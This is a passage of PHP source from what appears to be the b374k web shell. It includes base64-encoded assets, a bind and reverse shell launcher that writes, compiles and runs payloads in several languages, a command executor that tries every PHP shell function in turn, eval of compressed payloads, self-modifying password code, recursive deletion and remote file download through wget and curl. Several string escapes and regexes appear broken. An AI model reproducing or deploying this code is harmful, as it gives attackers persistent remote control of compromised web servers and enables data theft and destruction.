g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
$s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC";
$s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
// http://www.kryogenix.org/code/browser/sorttable/ - SortTable (c) Stuart Langridge
$s_sortable_js = "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";
// https://github.com/ded/domready - domready (c) Dustin Diaz
$s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";
// magic quote and shit :-p
function clean($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
// function read file
function fgc($file){
return file_get_contents($file);
}
// encryption for shell password
function kript($plain){
return sha1(md5($plain));
}
function changepass($plain){
$newpass = kript($plain);
$newpass = "\$s_pass = \"".$newpass."\";";
$con = fgc($_SERVER['SCRIPT_FILENAME']);
$con = preg_replace("/\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
}
function get_code($t, $c){
global $s_self;
$c = gzinflate(base64_decode($c));
if($t=="css"){
return "<link rel='stylesheet' type='text/css' href='".$s_self."|' />";
}
elseif($t=="js"){
return "<script type='text/javascript' src='".$s_self."!'></script>";
}
}
function showcode($raw){
$c = gzinflate(base64_decode($raw));
ob_get_contents();
ob_end_clean();
ob_start();
eval("?>".$c);
$s_res = ob_get_contents();
ob_end_clean();
echo $s_res;
die();
}
// addslashes if on windows
function adds($s_s){
global $s_win;
return ($s_win)? addslashes($s_s):$s_s;
}
// add slash to the end of given path
function cp($s_p){
global $s_win;
if(@is_dir($s_p)){
$s_x = DS;
while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
return ($s_win)? preg_replace("/\+/is", "\", $s_p.$s_x):$s_p.$s_x;
}
return $s_p;
}
// make link for folder $s_cwd and all of its parent folder
function swd($s_p){
global $s_self;
$s_ps = explode(DS,$s_p);
$s_pu = "";
for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
$s_pz = "";
for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
$s_pu .= "<a href='".$s_self."cd=".pl($s_pz)."'>".$s_ps[$s_i]." ".DS." </a>";
}
return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
//$s_s = htmlspecialchars($s_s, 8);
return htmlspecialchars($s_t, 2 | 1);
}
// function raw urldecode
function ru($str){
return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
}
// encode link, htmlspecialchars and rawurlencode
function pl($str){
return hss(rawurlencode($str));
}
// add quotes
function pf($f){
return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
return str_replace(array(" ", "\"", "'"), "_", $s_t);
}
// trim and urldecode
function ss($s_t){
return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
return "<div class='notif'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
$s_result = $s_fpath = "";
$s_fc = gzinflate(base64_decode($s_rscode));
$s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
$s_errgcc = "Unable to compile using gcc";
$s_errjavac = "Unable to compile using javac";
$s_split = explode("_", $s_rstype);
$s_method = $s_split[0];
$s_lang = $s_split[1];
if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
if($s_lang=="py") $s_runlang = "python";
elseif($s_lang=="pl") $s_runlang = "perl";
elseif($s_lang=="rb") $s_runlang = "ruby";
elseif($s_lang=="js") $s_runlang = "node";
$s_fpath = "b374k_rs.".$s_lang;
if(@is_file($s_fpath)) unlink($s_fpath);
if($s_file = fopen($s_fpath, "w")){
fwrite($s_file, $s_fc);
fclose($s_file);
if(@is_file($s_fpath)){
$s_result = exe("chmod +x ".$s_fpath);
if($s_runlang=="node"){
if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);
}
else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="c"){
$s_fpath = "b374k_rs";
if(@is_file($s_fpath)) unlink($s_fpath);
if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
if($s_file = fopen($s_fpath.".c", "w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath.".c")){
$s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
if(@is_file($s_fpath)){
$s_result = exe("chmod +x ".$s_fpath);
$s_result = exe("./".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errgcc;
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="win"){
$s_fpath = "b374k_rs.exe";
if(@is_file($s_fpath)) unlink($s_fpath);
if($s_file = fopen($s_fpath,"w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath)){
$s_result = exe($s_fpath." ".$s_rstarget);
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="java"){
$s_fpath = "b374k_rs";
if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
if($s_file = fopen($s_fpath.".java", "w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath.".java")){
$s_result = exe("javac ".$s_fpath.".java");
if(@is_file($s_fpath.".class")){
$s_result = exe("java ".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errjavac;
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="php"){
$s_result = eval("?>".$s_fc);
}
if(@is_file($s_fpath)) unlink($s_fpath);
if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");
return $s_result;
}
function geol($str){
$nl = PHP_EOL;
if(preg_match("/
/", $str, $r)) $nl = "
";
else{
if(preg_match("/
/", $str, $r)) $nl = "
";
elseif(preg_match("/
/", $str, $r)) $nl = "
";
}
return bin2hex($nl);
}
// format bit
function ts($s_s){
if($s_s<=0) return 0;
$s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
$s_e = floor(log($s_s)/log(1024));
return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
$s_s = @filesize($s_f);
if($s_s !== false){
if($s_s<=0) return 0;
return ts($s_s);
}
else return "???";
}
// get file permissions
function gp($s_f){
if($s_m = @fileperms($s_f)){
$s_p = 'u';
if(($s_m & 0xC000) == 0xC000)$s_p = 's';
elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
$s_p .= ($s_m & 00400)? 'r':'-';
$s_p .= ($s_m & 00200)? 'w':'-';
$s_p .= ($s_m & 00100)? 'x':'-';
$s_p .= ($s_m & 00040)? 'r':'-';
$s_p .= ($s_m & 00020)? 'w':'-';
$s_p .= ($s_m & 00010)? 'x':'-';
$s_p .= ($s_m & 00004)? 'r':'-';
$s_p .= ($s_m & 00002)? 'w':'-';
$s_p .= ($s_m & 00001)? 'x':'-';
return $s_p;
}
else return "???????????";
}
// shell command
function exe($s_c){
$s_out = "";
$s_c = $s_c." 2>&1";
if(is_callable('system')) {
ob_start();
@system($s_c);
$s_out = ob_get_contents();
ob_end_clean();
if(!empty($s_out)) return $s_out;
}
if(is_callable('shell_exec')){
$s_out = @shell_exec($s_c);
if(!empty($s_out)) return $s_out;
}
if(is_callable('exec')) {
@exec($s_c,$s_r);
if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
if(!empty($s_out)) return $s_out;
}
if(is_callable('passthru')) {
ob_start();
@passthru($s_c);
$s_out = ob_get_contents();
ob_end_clean();
if(!empty($s_out)) return $s_out;
}
if(is_callable('proc_open')) {
$s_descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
if (is_resource($s_proc)) {
while($s_si = fgets($s_pipes[1])) {
if(!empty($s_si)) $s_out .= $s_si;
}
while($s_se = fgets($s_pipes[2])) {
if(!empty($s_se)) $s_out .= $s_se;
}
}
@proc_close($s_proc);
if(!empty($s_out)) return $s_out;
}
if(is_callable('popen')){
$s_f = @popen($s_c, 'r');
if($s_f){
while(!feof($s_f)){
$s_out .= fread($s_f, 2096);
}
pclose($s_f);
}
if(!empty($s_out)) return $s_out;
}
return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
$s = (substr($s,-1)=='/')? $s:$s.'/';
if($dh = opendir($s)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $s.$f;
if(@is_dir($f)) rmdirs($f);
else @unlink($f);
}
}
closedir($dh);
@rmdir($s);
}
}
function copys($s,$d,$c=0){
if($dh = opendir($s)){
if(!@is_dir($d)) @mkdir($d);
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
else copy($s.DS.$f,$d.DS.$f);
}
}
closedir($dh);
}
}
// get array of all files from given directory
function getallfiles($s_dir){
$s_f = glob($s_dir.'*');
for($s_i = 0; $s_i<count($s_f); $s_i++){
if(@is_dir($s_f[$s_i])){
$s_a = glob($s_f[$s_i].DS.'*');
if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
}
}
return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
$s_n = basename($s_u);
// try using php functions
if($s_t = @fgc($s_u)){
if(@is_file($s_p)) unlink($s_p);
if($s_f = fopen($s_p,"w")){
fwrite($s_f, $s_t);
fclose($s_f);
if(@is_file($s_p)) return true;
}
}
// using wget
if($s_wget){
$buff = exe("wget ".$s_u." -O ".$s_p);
if(@is_file($s_p)) return true;
}
// try using curl
if($s_curl){
$buff = exe("curl ".$s_u." -o ".$s_p);
if(@is_file($s_p)) return true;
}
// try using lynx
if($s_lynx){
$buff = exe("lynx -source ".$s_u." > ".$s_p);
if(@is_file($s_p)) return true;
}
// try using lwp-download
if($s_lwpdownload){
$buff = exe("lwp-download ".$s_u." ".$s_p);
if(@is_file($s_p)) return true;
}
return false;
}
// find writable dir
function get_writabledir(){
if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
if(@is_writable("/tmp")) $s_d = "/tmp/";
else if(@is_writable(".")) $s_d = ".".DS;
}
return cp($s_d);
}
// zip function
function zip($s_srcarr, $s_dest){
if(!extension_loaded('zip')) return false;
if(class_exists("ZipArchive")){
$s_zip = new ZipArchive();
if(!$s_zip->open($s_dest, 1)) return false;
if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
foreach($s_srcarr as $s_src){
$s_src = str_replace('\', '/', $s_src);
if(@is_dir($s_src)){
$s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
foreach($s_files as $s_file){
$s_file = str_replace('\', '/', $s_file);
if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
if (@is_dir($s_file)===true) $s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
